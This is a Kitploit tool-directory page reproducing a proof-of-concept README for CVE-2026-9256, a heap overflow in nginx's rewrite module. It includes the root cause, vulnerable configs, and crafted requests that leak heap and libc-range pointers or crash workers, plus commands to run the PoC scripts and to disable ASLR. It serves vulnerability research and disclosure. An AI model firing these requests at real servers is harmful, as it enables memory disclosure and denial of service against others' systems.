Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-9256-Poc — Demonstrates CVE-2026-9256 heap buffer overflow in nginx's ngx_http_rewrite_module with PoC scripts for heap/libc leaks and worker crash. | Kitploit
Tools/GitHubGitHub/3nou9h/cve-2026-9256-poc
Memory ForensicsVulnerability AnalysisExploitationWeb SecurityLearning & EducationBinary Exploitation
GitHub3nou9h/cve-2026-9256-poc

CVE-2026-9256-Poc

Demonstrates CVE-2026-9256 heap buffer overflow in nginx's ngx_http_rewrite_module with PoC scripts for heap/libc leaks and worker crash.

View Repository
3143 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

nginx ngx_http_rewrite_module Heap Buffer Overflow

Description

nginx Plus and nginx Open Source ngx_http_rewrite_module contains a heap buffer overflow vulnerability. When a rewrite directive uses a regex with multiple overlapping PCRE capture groups (e.g. ^/((.*))$) and a replacement referencing multiple captures (e.g. $1&y=$2), the static-path buffer size calculation underestimates the space needed, causing the actual write to exceed the allocated size (Pool Slip).

An unauthenticated attacker can trigger this via a crafted HTTP request, resulting in a heap buffer overflow in the worker process. When ASLR is disabled or can be bypassed, code execution is possible.

Root Cause

File: src/http/ngx_http_script.c:1143-1155

root@kitploit:~
if (code->lengths == NULL) {
    e->buf.len = code->size;
    if (code->uri) {
        if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
            // BUG: escape overhead counted once for the entire URI
            e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
                                             NGX_ESCAPE_ARGS);
        }
    }
    for (n = 2; n < r->ncaptures; n += 2) {
        e->buf.len += r->captures[n + 1] - r->captures[n];  // raw length
    }
}

Each $N is escaped independently during copy (ngx_http_script.c:1397-1401). Nested captures cause the same substring to be escaped twice, doubling the escape cost, but the allocation only accounts for it once.

Overflow formula (2-layer nesting ((.+)), Q + characters in URI):

root@kitploit:~
allocated = code_size + 2*Q + 2*(Q+1)
actual    = code_size + 2*(3*Q + 1)
overflow  = 2*Q  (precisely controllable)

Trigger conditions (all three required):

Test Environment

Requirements

  • Docker (with docker compose)
  • Python 3 (no third-party dependencies)

Directory Structure

root@kitploit:~
.
├── env/
│   ├── Dockerfile                 # Based on nginx:1.31.0
│   ├── docker-compose.yml         # Container config (SYS_PTRACE)
│   ├── entrypoint.sh              # ASLR on (default)
│   ├── entrypoint_aslr_off.sh     # ASLR off (for libc_leak)
│   └── nginx.conf                 # Vulnerable config
├── heap_leak.py                   # heap_leak PoC
├── libc_leak.py                   # libc_leak PoC
├── crash_verify.py                # crash_verify PoC
├── LICENSE
└── README.md

Build & Run

root@kitploit:~
cd env/

# Pull base image (~200MB)
docker pull nginx:1.31.0

# Build and start
docker compose up --build -d

# Verify
curl -s http://127.0.0.1:19321/
# Expected: ok

Common Commands

root@kitploit:~
# View nginx logs (crash info)
docker compose logs -f

# Stop and remove
docker compose down

# Restart (after crash)
docker compose restart

ASLR

Check current state:

root@kitploit:~
cat /proc/sys/kernel/randomize_va_space
# 0 = off, 1 = partial, 2 = full

heap_leak and crash_verify work regardless of ASLR. libc_leak requires ASLR disabled on the host:

root@kitploit:~
sudo sysctl -w kernel.randomize_va_space=0
docker compose restart

Alternatively, disable ASLR only for the nginx process (no host privilege needed): copy entrypoint_aslr_off.sh over entrypoint.sh, then docker compose up --build -d.

Note: containers share the host kernel. randomize_va_space must be set on the host.

Verified Results

Heap Pointer Leak

Required config:

root@kitploit:~
location /echo/ {
    rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last;
}
location /show {
    internal;
    default_type text/plain;
    return 200 "x=$arg_x\ny=$arg_y\n";
}

Mechanism: Pool Slip causes ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t)) to land in the overflow zone. The script engine's initialized fields (e->ip, e->sp, e->request) leak into the rewritten URI's query string and are reflected via return 200 "$arg_y".

Request:

root@kitploit:~
GET /echo/%25%25%25%25%25A HTTP/1.0

Verified result (nginx:1.31.0, ASLR on):

root@kitploit:~
e->ip      = 0x00006544dec82430  (config pool codes array)
e->sp      = 0x00006544dec5ada0  (request pool script stack)
e->request = 0x00006544dec58880  (request struct)

What leaks: Raw heap pointers within the nginx worker address space.

PoC: heap_leak.py


libc-range Pointer Leak

Required config:

root@kitploit:~
location /leak2/ {
    rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last;
}
location /proxy-leak {
    internal;
    proxy_pass http://backend;           # must be reachable
    add_header X-Leak-Y "$arg_y" always;
}

Mechanism: proxy_pass triggers upstream initialization. Upstream structures containing library function pointers are allocated in the overflow zone. add_header "$arg_y" writes the raw bytes into the response header.

Request:

root@kitploit:~
GET /leak2/%25%25...(~40 x %25)...A HTTP/1.0

Verified result (nginx:1.31.0, ASLR off, request_pool_size=7920):

root@kitploit:~
leaked ptr = 0x00007fbfc3b7c346

What leaks: A raw pointer in the 0x7f... range (libc load region). To compute libc base, read /proc/<pid>/maps on the target and compute leaked_ptr - libc_base.

ASLR dependency: This stage requires ASLR off. The leaked pointer originates from freed chunk metadata (fd/bk → main_arena). With ASLR on, the freed chunk offset varies and small overflows cannot reliably reach it.

PoC: libc_leak.py


Simpler alternative: Using redirect mode (rewrite ^/r/((.*))$ http://.../?$1$2 redirect;), the Location header directly exposes raw overflow bytes without character encoding issues. A single request can leak heap pointers (Q=10~450) or trigger a crash (Q >= 500), no proxy_pass or special pool_size needed.


Worker Crash (DoS)

Required config:

root@kitploit:~
location /leak9/ {
    rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last;
}
location /show9 {
    internal;
    default_type text/plain;
    return 200 "i=$arg_i\n";
}

Mechanism: 9-layer nesting produces overflow = 16Q (vs. 2Q for 2-layer). At request_pool_size=7920, Q=123 exits the pool block boundary, overwriting adjacent malloc chunk metadata. glibc detects corruption and terminates the worker. Master auto-restarts.

Request:

root@kitploit:~
GET /leak9/%2b%2b...(123 x %2b)...A HTTP/1.0

Verified result (nginx:1.31.0, request_pool_size=7920):

root@kitploit:~
Q=122: normal response  (overflow=1952B)
Q=123: no response, nginx error.log:
  corrupted size vs. prev_size
  worker process XX exited on signal 6 (core dumped)
Reproduced 5/5 times.

Nesting vs pool_size: N layers produce overflow = (N-1)*2*Q. Default pool_size=4096 with 9-layer nesting is sufficient to crash. Larger pool_size requires fewer layers for a given Q.

PoC: crash_verify.py

Running the PoCs

root@kitploit:~
# Stage 1: Heap pointer leak
python3 heap_leak.py 127.0.0.1 19321

# Stage 2: libc-range pointer leak (requires ASLR off)
python3 libc_leak.py 127.0.0.1 19321

# Stage 3: DoS crash
python3 crash_verify.py 127.0.0.1 19321

Disclaimer

This proof-of-concept is provided for educational and authorized security research purposes only. Unauthorized use is prohibited.

Download Tool
ConditionDetail
No named vars, no duplicate $NStatic path (sc.variables==0 && !sc.dup_capture)
Nested capture group in regexe.g. ((.+)) makes $1 and $2 match the same content
+ or %XX in URITriggers escape path (plus_in_uri or quoted_uri)